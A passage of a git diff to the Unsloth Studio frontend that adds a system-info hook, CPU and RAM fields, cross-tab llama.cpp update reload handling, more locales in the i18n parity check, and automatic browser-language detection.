+  /** Only transformers main ships it (dev-only; not installable). */
+  supported_in_main?: boolean;
+}
+
+export type TransformersUpgradePhase = "consent" | "installing" | "error";
diff --git a/studio/frontend/src/hooks/index.ts b/studio/frontend/src/hooks/index.ts
index d5c923d57d..5b2fa43ae7 100644
--- a/studio/frontend/src/hooks/index.ts
+++ b/studio/frontend/src/hooks/index.ts
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+
 export { useDebouncedValue } from "./use-debounced-value";
 export { useGpuInfo } from "./use-gpu-info";
 export { useGpuUtilization } from "./use-gpu-utilization";
@@ -9,3 +10,4 @@ export { useHfDatasetSplits } from "./use-hf-dataset-splits";
 export { useHfTokenValidation } from "./use-hf-token-validation";
 export { useTauriBackend } from "./use-tauri-backend";
 export { useCollapseScrollLock } from "./use-collapse-scroll-lock";
+export { useSystemInfo } from "./use-system";
diff --git a/studio/frontend/src/hooks/use-gpu-info.ts b/studio/frontend/src/hooks/use-gpu-info.ts
index eb4d89abd8..1e313acdf3 100644
--- a/studio/frontend/src/hooks/use-gpu-info.ts
+++ b/studio/frontend/src/hooks/use-gpu-info.ts
@@ -3,19 +3,26 @@
 
 import { authFetch } from "@/features/auth";
 import { useEffect, useState } from "react";
+import type { SystemInfoResponse } from "./use-system";
 
 export interface GpuInfo {
   available: boolean;
   name: string;
   memoryTotalGb: number;
+  cpuCore: number;
+  cpuThread: number;
   systemRamAvailableGb: number;
+  systemRamTotalGb: number
 }
 
 const DEFAULT_GPU: GpuInfo = {
   available: false,
   name: "Unknown",
   memoryTotalGb: 0,
+  cpuCore: 0,
+  cpuThread: 0,
   systemRamAvailableGb: 0,
+  systemRamTotalGb: 0
 };
 
 // Module-level cache so multiple components share one fetch.
@@ -30,24 +37,30 @@ async function fetchGpuOnce(): Promise<GpuInfo> {
     try {
       const res = await authFetch("/api/system");
       if (!res.ok) throw new Error(`HTTP ${res.status}`);
-      const data = await res.json();
-      const ramAvailableGb = data?.memory?.available_gb ?? 0;
+
+      const data = await res.json() as SystemInfoResponse;
       const gpuData = data?.gpu;
-      if (!gpuData?.available || !gpuData.devices?.length) {
-        // No discrete GPU (e.g. Mac): still surface system RAM so memory math
-        // (unified memory) has a budget to work with.
-        const info: GpuInfo = { ...DEFAULT_GPU, systemRamAvailableGb: ramAvailableGb };
-        cachedGpu = info;
-        return info;
-      }
-      const devices = gpuData.devices as Array<{ name?: string; memory_total_gb?: number }>;
-      const totalGb = devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0);
-      const info: GpuInfo = {
-        available: true,
-        name: devices[0]?.name ?? "Unknown",
-        memoryTotalGb: totalGb,
-        systemRamAvailableGb: ramAvailableGb,
+
+      // CPU/RAM exist even on hosts without a GPU, so populate them on every path.
+      // No discrete GPU (e.g. Mac): still surface system RAM so memory math
+      // (unified memory) has a budget to work with.
+      const base = {
+        cpuCore: data?.cpu?.physical_count ?? 0,
+        cpuThread: data?.cpu?.logical_count ?? 0,
+        systemRamAvailableGb: data?.memory?.available_gb ?? 0,
+        systemRamTotalGb: data?.memory?.total_gb ?? 0,
       };
+
+      const devices = gpuData?.devices ?? [];
+      const info: GpuInfo =
+        gpuData?.available && devices.length
+          ? {
+              ...base,
+              available: true,
+              name: devices[0]?.name ?? "Unknown",
+              memoryTotalGb: devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0),
+            }
+          : { ...DEFAULT_GPU, ...base };
       cachedGpu = info;
       return info;
     } catch {
@@ -78,4 +91,4 @@ export function useGpuInfo(): GpuInfo {
   }, []);
 
   return gpu;
-}
+}
\ No newline at end of file
diff --git a/studio/frontend/src/hooks/use-gpu-utilization.ts b/studio/frontend/src/hooks/use-gpu-utilization.ts
index 1a9f6102dd..be16647a4d 100644
--- a/studio/frontend/src/hooks/use-gpu-utilization.ts
+++ b/studio/frontend/src/hooks/use-gpu-utilization.ts
@@ -7,6 +7,9 @@ import { useEffect, useRef, useState } from "react";
 export interface GpuUtilization {
     available: boolean;
     backend: string | null;
+    devices?: GpuUtilization[];
+    index?: number;
+    visible_ordinal?: number;
     gpu_utilization_pct: number | null;
     temperature_c: number | null;
     vram_used_gb: number | null;
@@ -57,11 +60,10 @@ export function useGpuUtilization(
                 const json = (await res.json()) as GpuUtilization;
                 if (!cancelled) setData(json);
             } catch {
-                // Silently ignore — next poll will retry
+                // Retry on the next poll.
             }
         }
 
-        // Fetch immediately, then set up interval
         void poll();
         timerRef.current = setInterval(() => void poll(), intervalMs);
 
diff --git a/studio/frontend/src/hooks/use-hardware-info.ts b/studio/frontend/src/hooks/use-hardware-info.ts
index 36e3c532f3..4d63d4d6af 100644
--- a/studio/frontend/src/hooks/use-hardware-info.ts
+++ b/studio/frontend/src/hooks/use-hardware-info.ts
@@ -25,6 +25,13 @@ export interface HardwareInfo {
     transformers: string | null;
     unsloth: string | null;
     llamaCpp: string | null;
+    // Whether export can run here (true only on a supported accelerator), with a torch-aware
+    // reason. `null` until the authoritative response lands, so callers don't briefly enable
+    // export; `loaded` flips true once a real (non-error) response arrives.
+    exportSupported: boolean | null;
+    exportUnsupportedReason: string | null;
+    exportUnsupportedMessage: string | null;
+    loaded: boolean;
 }
 
 const DEFAULT: HardwareInfo = {
@@ -38,6 +45,10 @@ const DEFAULT: HardwareInfo = {
     transformers: null,
     unsloth: null,
     llamaCpp: null,
+    exportSupported: null,
+    exportUnsupportedReason: null,
+    exportUnsupportedMessage: null,
+    loaded: false,
 };
 
 // Module-level cache so multiple components share one fetch.
@@ -87,6 +98,10 @@ async function fetchOnce(): Promise<HardwareInfo> {
                 transformers: data?.versions?.transformers ?? null,
                 unsloth: data?.versions?.unsloth ?? null,
                 llamaCpp: data?.llama_cpp ?? null,
+                exportSupported: data?.export_supported ?? null,
+                exportUnsupportedReason: data?.export_unsupported_reason ?? null,
+                exportUnsupportedMessage: data?.export_unsupported_message ?? null,
+                loaded: true,
             };
             if (generation === cacheGeneration) {
                 cached = info;
diff --git a/studio/frontend/src/hooks/use-llama-update-check.ts b/studio/frontend/src/hooks/use-llama-update-check.ts
index d8f894b1b1..e3a735ffde 100644
--- a/studio/frontend/src/hooks/use-llama-update-check.ts
+++ b/studio/frontend/src/hooks/use-llama-update-check.ts
@@ -22,6 +22,9 @@ export interface LlamaUpdateJob {
   error: string | null;
   // Download fraction while running, 1 on success.
   progress: number | null;
+  // Set once the job leaves "running"; identifies a completed job so a
+  // repeated fetch of the same success can be told apart from the next one.
+  finished_at: string | null;
 }
 
 export interface LlamaUpdateStatus {
@@ -34,10 +37,24 @@ export interface LlamaUpdateStatus {
   job: LlamaUpdateJob;
 }
 
+function parseJob(value: unknown): LlamaUpdateJob {
+  const job = (value ?? {}) as Record<string, unknown>;
+  return {
+    state: (job.state as LlamaUpdateJob["state"]) ?? "idle",
+    message: typeof job.message === "string" ? job.message : "",
+    from_tag: typeof job.from_tag === "string" ? job.from_tag : null,
+    to_tag: typeof job.to_tag === "string" ? job.to_tag : null,
+    reload_required:
+      typeof job.reload_required === "boolean" ? job.reload_required : null,
+    error: typeof job.error === "string" ? job.error : null,
+    progress: typeof job.progress === "number" ? job.progress : null,
+    finished_at: typeof job.finished_at === "string" ? job.finished_at : null,
+  };
+}
+
 function parseStatus(value: unknown): LlamaUpdateStatus | null {
   if (!value || typeof value !== "object") return null;
   const s = value as Record<string, unknown>;
-  const job = (s.job ?? {}) as Record<string, unknown>;
   return {
     supported: s.supported === true,
     update_available: s.update_available === true,
@@ -45,19 +62,34 @@ function parseStatus(value: unknown): LlamaUpdateStatus | null {
     latest_tag: typeof s.latest_tag === "string" ? s.latest_tag : null,
     update_size_bytes:
       typeof s.update_size_bytes === "number" ? s.update_size_bytes : null,
-    job: {
-      state: (job.state as LlamaUpdateJob["state"]) ?? "idle",
-      message: typeof job.message === "string" ? job.message : "",
-      from_tag: typeof job.from_tag === "string" ? job.from_tag : null,
-      to_tag: typeof job.to_tag === "string" ? job.to_tag : null,
-      reload_required:
-        typeof job.reload_required === "boolean" ? job.reload_required : null,
-      error: typeof job.error === "string" ? job.error : null,
-      progress: typeof job.progress === "number" ? job.progress : null,
-    },
+    job: parseJob(s.job),
   };
 }
 
+// The backend job persists as "success" until the next update starts (it's a
+// single in-memory record, not per-tab), so a fresh mount -- a new tab, or a
+// page reload of a tab that already resynced -- would otherwise replay the
+// same completed job forever. Persist the handled marker outside React state
+// so it survives both, and is shared across tabs in this browser.
+const HANDLED_RELOAD_STORAGE_KEY = "unsloth_llama_update_reload_handled_at";
+
+function getHandledReloadAt(): string | null {
+  try {
+    return localStorage.getItem(HANDLED_RELOAD_STORAGE_KEY);
+  } catch {
+    return null;
+  }
+}
+
+function setHandledReloadAt(finishedAt: string | null): void {
+  if (!finishedAt) return;
+  try {
+    localStorage.setItem(HANDLED_RELOAD_STORAGE_KEY, finishedAt);
+  } catch {
+    // storage unavailable
+  }
+}
+
 async function fetchStatus(
   forceRefresh = false,
 ): Promise<LlamaUpdateStatus | null> {
@@ -78,6 +110,14 @@ const recheckStatus = () => fetchStatus(true);
 
 interface UseLlamaUpdateCheckOptions {
   enabled?: boolean;
+  /**
+   * Called when a completed update reports `reload_required` (i.e. it unloaded
+   * the active model server-side). Consumers use it to resync the chat runtime
+   * so the model selector drops to "select model" instead of pointing at a
+   * model that now 400s on send. Fires for both this tab's own apply() and a
+   * cross-tab update mirrored through the background poll.
+   */
+  onReloadRequired?: () => void;
 }
 
 export interface LlamaApplyResult {
@@ -90,12 +130,25 @@ export interface LlamaApplyResult {
 /** Tracks llama.cpp update visibility and apply progress. */
 export function useLlamaUpdateCheck({
   enabled = true,
+  onReloadRequired,
 }: UseLlamaUpdateCheckOptions = {}) {
   const [status, setStatus] = useState<LlamaUpdateStatus | null>(null);
   const [visible, setVisible] = useState(false);
   const [applying, setApplying] = useState(false);
   const pollTimer = useRef<ReturnType<typeof setInterval> | null>(null);
   const snoozeTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
+  // Read through a ref so startJobPoll stays stable (apply/surfaceIfAvailable
+  // depend on it) while still calling the latest callback.
+  const onReloadRequiredRef = useRef(onReloadRequired);
+  useEffect(() => {
+    onReloadRequiredRef.current = onReloadRequired;
+  }, [onReloadRequired]);
+  // Fires the callback once per completed job, whether this tab watched it run
+  // or only saw the persisted "success" after the fact (e.g. another tab
+  // applied it). Keyed by finished_at and seeded from localStorage so a fresh
+  // mount (new tab, or a page reload of a tab that already resynced) doesn't
+  // replay a job some tab already handled.
+  const reloadNotifiedForRef = useRef<string | null>(getHandledReloadAt());
 
   const clearPollTimer = useCallback(() => {
     if (pollTimer.current) {
@@ -104,6 +157,25 @@ export function useLlamaUpdateCheck({
     }
   }, []);
 
+  // Shared by the poll path (this tab watched the job run), the surface path
+  // (this tab only saw the persisted success), and apply()'s stale-click path
+  // (the job came back embedded in a "not started" response) so none of them
+  // can drop or double-fire the notification.
+  const notifyReloadIfNeeded = useCallback(
+    (job: Pick<LlamaUpdateJob, "state" | "reload_required" | "finished_at">) => {
+      if (
+        job.state === "success" &&
+        job.reload_required &&
+        job.finished_at !== reloadNotifiedForRef.current
+      ) {
+        reloadNotifiedForRef.current = job.finished_at;
+        setHandledReloadAt(job.finished_at);
+        onReloadRequiredRef.current?.();
+      }
+    },
+    [],
+  );
+
   // Used by apply() and another-tab job tracking.
   const startJobPoll = useCallback(
     (onDone?: (result: LlamaApplyResult) => void) => {
@@ -118,6 +190,12 @@ export function useLlamaUpdateCheck({
         if (s.job.state === "success") {
           setVisible(false);
           void refreshHardwareInfo();
+          // The update unloads the running model server-side, so the chat
+          // runtime still points at a model that now 400s on send. Let the
+          // consumer drop the selector to "select model" instead of waiting for
+          // a page reload. Fires here (not just from apply's onDone) so a
+          // cross-tab update mirrored through this poll is covered too.
+          notifyReloadIfNeeded(s.job);
           onDone?.({
             ok: true,
             tag: s.job.to_tag,
@@ -131,7 +209,7 @@ export function useLlamaUpdateCheck({
         }
       }, JOB_POLL_INTERVAL_MS);
     },
-    [clearPollTimer],
+    [clearPollTimer, notifyReloadIfNeeded],
   );
 
   const surfaceIfAvailable = useCallback(
@@ -145,11 +223,16 @@ export function useLlamaUpdateCheck({
         if (!pollTimer.current) startJobPoll();
         return;
       }
+      // A completed job persists as "success" until the next update starts, so
+      // a tab that missed the running window entirely (mounted, or only checks
+      // hourly and misses both the running and just-finished moments) still
+      // needs to resync here, not just from the poll path above.
+      notifyReloadIfNeeded(next.job);
       if (next.update_available) {
         setVisible(true);
       }
     },
-    [startJobPoll],
+    [startJobPoll, notifyReloadIfNeeded],
   );
 
   useEffect(() => {
@@ -185,6 +268,26 @@ export function useLlamaUpdateCheck({
     };
   }, [enabled, surfaceIfAvailable, clearPollTimer]);
 
+  // Cross-tab nudge: a tab that only checks hourly would otherwise stay
+  // pointed at a server-unloaded model for up to an hour after a DIFFERENT
+  // open tab applies an update. The storage event only fires in other tabs
+  // (never the one that wrote it), so this recheck fires promptly there
+  // without this tab redundantly re-triggering itself.
+  useEffect(() => {
+    if (!enabled) return;
+    const onStorage = (event: StorageEvent) => {
+      if (
+        event.key === HANDLED_RELOAD_STORAGE_KEY &&
+        event.newValue &&
+        event.newValue !== reloadNotifiedForRef.current
+      ) {
+        recheckStatus().then(surfaceIfAvailable);
+      }
+    };
+    window.addEventListener("storage", onStorage);
+    return () => window.removeEventListener("storage", onStorage);
+  }, [enabled, surfaceIfAvailable]);
+
   const dismiss = useCallback(() => {
     setVisible(false);
   }, []);
@@ -206,6 +309,7 @@ export function useLlamaUpdateCheck({
       started?: boolean;
       reason?: string | null;
       message?: string | null;
+      job?: unknown;
     } | null = null;
     try {
       const res = await authFetch("/api/llama/update", { method: "POST" });
@@ -229,6 +333,11 @@ export function useLlamaUpdateCheck({
       action.started === false &&
       action.reason !== "already_running"
     ) {
+      // A stale banner's click can land after another tab already applied the
+      // update (e.g. "up_to_date"): the response still carries that tab's
+      // completed job, so process reload_required here too, not just from the
+      // poll path -- otherwise this rejection silently drops it.
+      notifyReloadIfNeeded(parseJob(action.job));
       setApplying(false);
       return {
         ok: false,
@@ -239,7 +348,7 @@ export function useLlamaUpdateCheck({
     return await new Promise<LlamaApplyResult>((resolve) =>
       startJobPoll(resolve),
     );
-  }, [applying, startJobPoll]);
+  }, [applying, startJobPoll, notifyReloadIfNeeded]);
 
   return {
     status: enabled ? status : null,
diff --git a/studio/frontend/src/hooks/use-system.ts b/studio/frontend/src/hooks/use-system.ts
new file mode 100644
index 0000000000..a135cce86e
--- /dev/null
+++ b/studio/frontend/src/hooks/use-system.ts
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { useEffect, useState } from "react";
+
+export interface GpuDevice {
+  index?: number;
+  index_kind?: string;
+  visible_ordinal?: number;
+  name?: string;
+  memory_total_gb?: number;
+  vram_used_gb?: number;
+  vram_free_gb?: number;
+  vram_utilization_pct?: number | null;
+}
+
+export interface SystemInfoResponse {
+  platform: string;
+  python_version: string;
+  device_backend: "cuda" | "rocm" | "cpu" | "mlx" | "xpu";
+  uptime_seconds: number | null;
+  cpu: {
+    logical_count: number;
+    physical_count: number;
+    usage_percent: number;
+    frequency_mhz: number | null;
+  };
+  memory: {
+    total_gb: number;
+    available_gb: number;
+    percent_used: number;
+    process_used_mb: number;
+  };
+  disk: {
+    total_gb: number;
+    free_gb: number;
+    percent_used: number;
+  };
+  gpu: {
+    available: boolean;
+    backend?: string;
+    backend_cuda_visible_devices?: string | null;
+    parent_visible_gpu_ids?: number[];
+    index_kind?: string;
+    devices: GpuDevice[];
+  };
+  ml_packages: {
+    torch?: string;
+    transformers?: string;
+  };
+}
+
+let cachedSystem: SystemInfoResponse | null = null;
+let systemFetchPromise: Promise<SystemInfoResponse> | null = null;
+
+const DEFAULT_SYSTEM: SystemInfoResponse = {
+  platform: "Unknown",
+  python_version: "Unknown",
+  device_backend: "cpu",
+  uptime_seconds: 0,
+  cpu: { logical_count: 0, physical_count: 0, usage_percent: 0, frequency_mhz: null },
+  memory: { total_gb: 0, available_gb: 0, percent_used: 0, process_used_mb: 0 },
+  disk: { total_gb: 0, free_gb: 0, percent_used: 0 },
+  gpu: { available: false, devices: [] },
+  ml_packages: {}
+};
+
+async function fetchSystemOnce({
+  force = false,
+}: { force?: boolean } = {}): Promise<SystemInfoResponse> {
+  if (systemFetchPromise) return systemFetchPromise;
+  if (!force && cachedSystem) return cachedSystem;
+
+  systemFetchPromise = (async () => {
+    try {
+      const res = await authFetch("/api/system");
+      if (!res.ok) throw new Error(`HTTP ${res.status}`);
+      const data = await res.json();
+
+      cachedSystem = data as SystemInfoResponse;
+      return cachedSystem;
+    } catch {
+      cachedSystem = null;
+      return DEFAULT_SYSTEM;
+    } finally {
+      systemFetchPromise = null;
+    }
+  })();
+
+  return systemFetchPromise;
+}
+
+interface UseSystemInfoOptions {
+  pollMs?: number;
+  enabled?: boolean;
+}
+
+export function useSystemInfo({
+  pollMs,
+  enabled = true,
+}: UseSystemInfoOptions = {}): SystemInfoResponse {
+  const [systemInfo, setSystemInfo] = useState<SystemInfoResponse>(cachedSystem ?? DEFAULT_SYSTEM);
+
+  useEffect(() => {
+    if (!enabled) return;
+
+    let cancelled = false;
+    let timeoutId: number | null = null;
+
+    const update = (force: boolean) => {
+      void fetchSystemOnce({ force })
+        .then((info) => {
+          if (!cancelled) setSystemInfo(info);
+        })
+        .finally(() => {
+          if (cancelled || !pollMs) return;
+          timeoutId = window.setTimeout(() => update(true), pollMs);
+        });
+    };
+
+    update(Boolean(pollMs));
+    return () => {
+      cancelled = true;
+      if (timeoutId !== null) window.clearTimeout(timeoutId);
+    };
+  }, [enabled, pollMs]);
+
+  return systemInfo;
+}
diff --git a/studio/frontend/src/i18n/AGENTS.md b/studio/frontend/src/i18n/README.md
similarity index 80%
rename from studio/frontend/src/i18n/AGENTS.md
rename to studio/frontend/src/i18n/README.md
index 42d964acca..ba8cce5d8d 100644
--- a/studio/frontend/src/i18n/AGENTS.md
+++ b/studio/frontend/src/i18n/README.md
@@ -1,11 +1,12 @@
-# i18n Contribution Instructions
+# i18n Contribution Guide
 
 - `locales/en.ts` is the complete baseline message file.
 - Non-English locale files may be partial. Missing keys must fall back to English at runtime.
-- Use BCP 47 locale tags for new languages, for example `zh-CN`, `ja-JP`, and `ko-KR`.
+- Use BCP 47 locale tags for new languages, for example `zh-CN`, `pt-BR`, `ja-JP`, and `ko-KR`.
 - Do not change fallback logic to hide missing translations.
 - Do not add automatic DOM translation, MutationObserver text replacement, or runtime guess-based translation.
 - Preserve interpolation variables exactly, for example `{count}`, `{model}`, and `{provider}`.
 - Keep product and technical names unchanged unless there is an established localized name, for example `Unsloth Studio`, `LoRA`, `GGUF`, and `Hugging Face`.
 - Keep translation changes small and reviewable. Prefer separate commits for runtime changes, UI migration, and locale text.
 - When adding user-facing Studio UI text, add the English message key first and add non-English overrides only when the translation is clear.
+- Run `npx tsx src/i18n/check-parity.ts` before committing to ensure there are no shape mismatches or placeholder discrepancies in the non-English overlays.
diff --git a/studio/frontend/src/i18n/check-parity.ts b/studio/frontend/src/i18n/check-parity.ts
index 8c027f9ce3..090d68bc18 100644
--- a/studio/frontend/src/i18n/check-parity.ts
+++ b/studio/frontend/src/i18n/check-parity.ts
@@ -3,14 +3,22 @@
 
 // Parity check between en.ts and every non-English locale.
 // - Locale files may be partial; missing keys must fall back to English.
-// - All zh-CN keys must exist in en (no extras).
+// - All non-English keys must exist in en (no extras).
 // - Placeholder set must match per leaf between en and the overlay.
 //
 // Run: npx tsx src/i18n/check-parity.ts
 
 import { en } from "./locales/en.ts";
 import { zhCN } from "./locales/zh-CN.ts";
+import { ptBR } from "./locales/pt-br.ts";
 import { ja } from "./locales/ja.ts";
+import { es } from "./locales/es.ts";
+import { hi } from "./locales/hi.ts";
+import { ar } from "./locales/ar.ts";
+import { fr } from "./locales/fr.ts";
+import { ru } from "./locales/ru.ts";
+import { de } from "./locales/de.ts";
+import { ko } from "./locales/ko.ts";
 
 type Tree = { readonly [k: string]: string | Tree };
 
@@ -88,9 +96,17 @@ function checkExtras(
   }
 }
 
-const overlays: Record<string, Tree> = { 
+const overlays: Record<string, Tree> = {
   "zh-CN": zhCN as unknown as Tree,
+  "pt-BR": ptBR as unknown as Tree,
   "ja": ja as unknown as Tree,
+  es: es as unknown as Tree,
+  hi: hi as unknown as Tree,
+  ar: ar as unknown as Tree,
+  fr: fr as unknown as Tree,
+  ru: ru as unknown as Tree,
+  de: de as unknown as Tree,
+  ko: ko as unknown as Tree,
 };
 let anyError = false;
 
@@ -112,4 +128,4 @@ for (const [locale, overlay] of Object.entries(overlays)) {
 }
 
 if (anyError) process.exit(1);
-console.log("\nAll locale overlays pass parity.");
+console.log("\nAll locale overlays pass parity.");
\ No newline at end of file
diff --git a/studio/frontend/src/i18n/index.ts b/studio/frontend/src/i18n/index.ts
index 6cd2fe230a..9d7a8c4e24 100644
--- a/studio/frontend/src/i18n/index.ts
+++ b/studio/frontend/src/i18n/index.ts
@@ -8,14 +8,20 @@ import type { InterpolationValues } from "./types";
 import type { TranslationKey } from "./messages";
 
 export {
+  AUTO_LOCALE,
   DEFAULT_LOCALE,
+  DEFAULT_LOCALE_PREFERENCE,
   LOCALE_STORAGE_KEY,
   getLocale,
+  getLocalePreference,
   initializeLocale,
+  isLocalePreference,
   setLocale,
   subscribeLocale,
   useLocale,
+  useLocalePreference,
 } from "./locale-store";
+export type { LocalePreference } from "./locale-store";
 export {
   LOCALES,
   isSupportedLocale,
diff --git a/studio/frontend/src/i18n/locale-store.ts b/studio/frontend/src/i18n/locale-store.ts
index 8b4643f5a9..792e7e77fb 100644
--- a/studio/frontend/src/i18n/locale-store.ts
+++ b/studio/frontend/src/i18n/locale-store.ts
@@ -2,32 +2,94 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { useSyncExternalStore } from "react";
-import { isSupportedLocale, type Locale } from "./messages";
+import { isSupportedLocale, LOCALES, type Locale } from "./messages";
 
 export const DEFAULT_LOCALE: Locale = "en";
+export const AUTO_LOCALE = "auto";
 export const LOCALE_STORAGE_KEY = "unsloth_locale";
 
+export type LocalePreference = Locale | typeof AUTO_LOCALE;
+
+export const DEFAULT_LOCALE_PREFERENCE: LocalePreference = AUTO_LOCALE;
+
 const subscribers = new Set<() => void>();
 
+let currentPreference: LocalePreference = DEFAULT_LOCALE_PREFERENCE;
 let currentLocale: Locale = DEFAULT_LOCALE;
-let isStorageListenerActive = false;
+let areListenersActive = false;
 
-function normalizeLocale(value: unknown): Locale {
-  return isSupportedLocale(value) ? value : DEFAULT_LOCALE;
+export function isLocalePreference(value: unknown): value is LocalePreference {
+  return value === AUTO_LOCALE || isSupportedLocale(value);
 }
 
-function readStoredLocale(): Locale {
+function isTraditionalChinese(lowerTag: string): boolean {
+  if (lowerTag.includes("hant")) return true;
+  if (lowerTag.includes("hans")) return false;
+  const parts = lowerTag.split("-");
+  return parts.includes("tw") || parts.includes("hk") || parts.includes("mo");
+}
+
+function matchLocale(tag: string): Locale | null {
+  const locales = Object.keys(LOCALES) as Locale[];
+  const lower = tag.toLowerCase();
+  const exact = locales.find((locale) => locale.toLowerCase() === lower);
+  if (exact) return exact;
+  const language = lower.split("-")[0];
+  // We only ship Simplified Chinese. Don't hand it to Traditional Chinese
+  // (zh-Hant / zh-TW / zh-HK / zh-MO) users; let them fall through instead.
+  if (language === "zh" && isTraditionalChinese(lower)) return null;
+  return (
+    locales.find((locale) => locale.toLowerCase().split("-")[0] === language) ??
+    null
+  );
+}
+
+function detectLocale(): Locale {
+  const navigatorRef = globalThis.navigator;
+  const tags = navigatorRef?.languages?.length
+    ? navigatorRef.languages
+    : navigatorRef?.language
+      ? [navigatorRef.language]
+      : [];
+  let sawTraditionalChinese = false;
+  for (const tag of tags) {
+    const lower = tag.toLowerCase();
+    if (lower.split("-")[0] === "zh" && isTraditionalChinese(lower)) {
+      sawTraditionalChinese = true;
+    } else if (sawTraditionalChinese && lower === "zh") {
+      // Bare zh after a Traditional tag is the browser's base-subtag fallback, not a Simplified request; skip it.
+      continue;
+    }
+    const match = matchLocale(tag);
+    if (match) return match;
+  }
+  return DEFAULT_LOCALE;
+}
+
+function normalizePreference(value: unknown): LocalePreference {
+  if (value === AUTO_LOCALE) return AUTO_LOCALE;
+  // Return a value re-derived from our own locale table rather than the raw
+  // input, so only known language codes are ever persisted.
+  const locales = Object.keys(LOCALES) as Locale[];
+  return locales.find((locale) => locale === value) ?? DEFAULT_LOCALE_PREFERENCE;
+}
+
+function resolvePreference(preference: LocalePreference): Locale {
+  return preference === AUTO_LOCALE ? detectLocale() : preference;
+}
+
+function readStoredPreference(): LocalePreference {
   try {
     const stored = globalThis.localStorage?.getItem(LOCALE_STORAGE_KEY) ?? null;
-    return normalizeLocale(stored);
+    return normalizePreference(stored);
   } catch {
-    return DEFAULT_LOCALE;
+    return DEFAULT_LOCALE_PREFERENCE;
   }
 }
 
-function writeStoredLocale(locale: Locale): void {
+function writeStoredPreference(preference: LocalePreference): void {
   try {
-    globalThis.localStorage?.setItem(LOCALE_STORAGE_KEY, locale);
+    globalThis.localStorage?.setItem(LOCALE_STORAGE_KEY, preference);
   } catch {
     // localStorage 可能被禁用；失败只影响持久化，不影响当前会话语言。
   }
@@ -42,8 +104,10 @@ function notifySubscribers(): void {
   for (const subscriber of subscribers) subscriber();
 }
 
-function updateCurrentLocale(locale: Locale): void {
-  if (locale === currentLocale) return;
+function applyPreference(preference: LocalePreference): void {
+  const locale = resolvePreference(preference);
+  if (preference === currentPreference && locale === currentLocale) return;
+  currentPreference = preference;
   currentLocale = locale;
   syncDocumentLang(locale);
   notifySubscribers();
@@ -53,8 +117,8 @@ function isLocaleStorageEvent(event: StorageEvent): boolean {
   if (event.key !== LOCALE_STORAGE_KEY && event.key !== null) return false;
   if (!event.storageArea || typeof window === "undefined") return true;
   // Accessing window.localStorage can throw in privacy-restricted contexts
-  // where storage is blocked; mirror the try/catch in readStoredLocale/
-  // writeStoredLocale so storage-event handling is just as resilient.
+  // where storage is blocked; mirror the try/catch in readStoredPreference/
+  // writeStoredPreference so storage-event handling is just as resilient.
   try {
     return event.storageArea === window.localStorage;
   } catch {
@@ -64,21 +128,35 @@ function isLocaleStorageEvent(event: StorageEvent): boolean {
 
 function handleStorageEvent(event: StorageEvent): void {
   if (!isLocaleStorageEvent(event)) return;
-  const nextLocale =
-    event.key === null ? DEFAULT_LOCALE : normalizeLocale(event.newValue);
-  updateCurrentLocale(nextLocale);
+  const nextPreference =
+    event.key === null
+      ? DEFAULT_LOCALE_PREFERENCE
+      : normalizePreference(event.newValue);
+  applyPreference(nextPreference);
 }
 
-function startStorageListener(): void {
-  if (isStorageListenerActive || typeof window === "undefined") return;
+function handleLanguageChange(): void {
+  // Only auto mode tracks the browser language.
+  if (currentPreference !== AUTO_LOCALE) return;
+  const locale = detectLocale();
+  if (locale === currentLocale) return;
+  currentLocale = locale;
+  syncDocumentLang(locale);
+  notifySubscribers();
+}
+
+function startListeners(): void {
+  if (areListenersActive || typeof window === "undefined") return;
   window.addEventListener("storage", handleStorageEvent);
-  isStorageListenerActive = true;
+  window.addEventListener("languagechange", handleLanguageChange);
+  areListenersActive = true;
 }
 
-function stopStorageListener(): void {
-  if (!isStorageListenerActive || typeof window === "undefined") return;
+function stopListeners(): void {
+  if (!areListenersActive || typeof window === "undefined") return;
   window.removeEventListener("storage", handleStorageEvent);
-  isStorageListenerActive = false;
+  window.removeEventListener("languagechange", handleLanguageChange);
+  areListenersActive = false;
 }
 
 function getLocaleSnapshot(): Locale {
@@ -89,35 +167,49 @@ function getServerLocaleSnapshot(): Locale {
   return DEFAULT_LOCALE;
 }
 
+function getPreferenceSnapshot(): LocalePreference {
+  return currentPreference;
+}
+
+function getServerPreferenceSnapshot(): LocalePreference {
+  return DEFAULT_LOCALE_PREFERENCE;
+}
+
 export function subscribeLocale(listener: () => void): () => void {
-  const shouldStartStorageListener = subscribers.size === 0;
+  const shouldStartListeners = subscribers.size === 0;
   subscribers.add(listener);
-  if (shouldStartStorageListener) startStorageListener();
+  if (shouldStartListeners) startListeners();
 
   return () => {
     subscribers.delete(listener);
-    if (subscribers.size === 0) stopStorageListener();
+    if (subscribers.size === 0) stopListeners();
   };
 }
 
 export function initializeLocale(): Locale {
-  const nextLocale = readStoredLocale();
-  currentLocale = nextLocale;
-  syncDocumentLang(nextLocale);
+  const preference = readStoredPreference();
+  currentPreference = preference;
+  currentLocale = resolvePreference(preference);
+  syncDocumentLang(currentLocale);
   notifySubscribers();
-  return nextLocale;
+  return currentLocale;
 }
 
 export function getLocale(): Locale {
   return currentLocale;
 }
 
-export function setLocale(locale: Locale): void {
-  const requestedLocale = normalizeLocale(locale);
-  writeStoredLocale(requestedLocale);
+export function getLocalePreference(): LocalePreference {
+  return currentPreference;
+}
 
-  currentLocale = requestedLocale;
-  syncDocumentLang(requestedLocale);
+export function setLocale(preference: LocalePreference): void {
+  const requestedPreference = normalizePreference(preference);
+  writeStoredPreference(requestedPreference);
+
+  currentPreference = requestedPreference;
+  currentLocale = resolvePreference(requestedPreference);
+  syncDocumentLang(currentLocale);
   notifySubscribers();
 }
 
@@ -128,3 +220,11 @@ export function useLocale(): Locale {
     getServerLocaleSnapshot,
   );
 }
+
+export function useLocalePreference(): LocalePreference {
+  return useSyncExternalStore(
+    subscribeLocale,
+    getPreferenceSnapshot,
